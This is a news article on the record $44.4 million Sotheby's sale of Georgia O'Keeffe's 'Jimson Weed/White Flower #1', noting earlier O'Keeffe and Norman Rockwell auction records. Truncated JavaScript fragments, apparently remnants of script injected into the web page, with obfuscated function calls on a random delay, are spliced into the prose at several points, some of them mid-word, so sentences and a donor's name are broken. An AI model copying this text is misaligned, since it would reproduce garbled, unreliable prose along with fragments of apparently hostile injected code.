NEW YORK CITY — Bold in presentation andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and iconic in subject matter, Georgia O’Keeffe’s oil on canvas painting “Jimson Weed/White Flower #1”  sold for $44,405,000 including premium at Sotheby’s on November 20. The price was more than seven times the previous auction record for the New Mexican artist,  whose “Calla Lilies with Red Anemone”” achieved $6,166,000 in 2001.

Seven bidders vied for the large work, offered for sale by Santa Fe’s Georgia O’Keeffe Museum. The painting had been a gift to the museum from former Sotheby’s chairman John Marion andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife, Anne Tandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy Burnett through the Burnett Foundation.  After hitting the $20 million mark, bidding proceeded in $500,000 increments, the volley in the final stretch between two phone bidders. According to Sotheby’s, the price is also a record for a woman artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and came close to matching the $46 million paid in December  2013 for  “”Saying Grace.” The Norman Rockwell work current holds the record for an American painting at auction.

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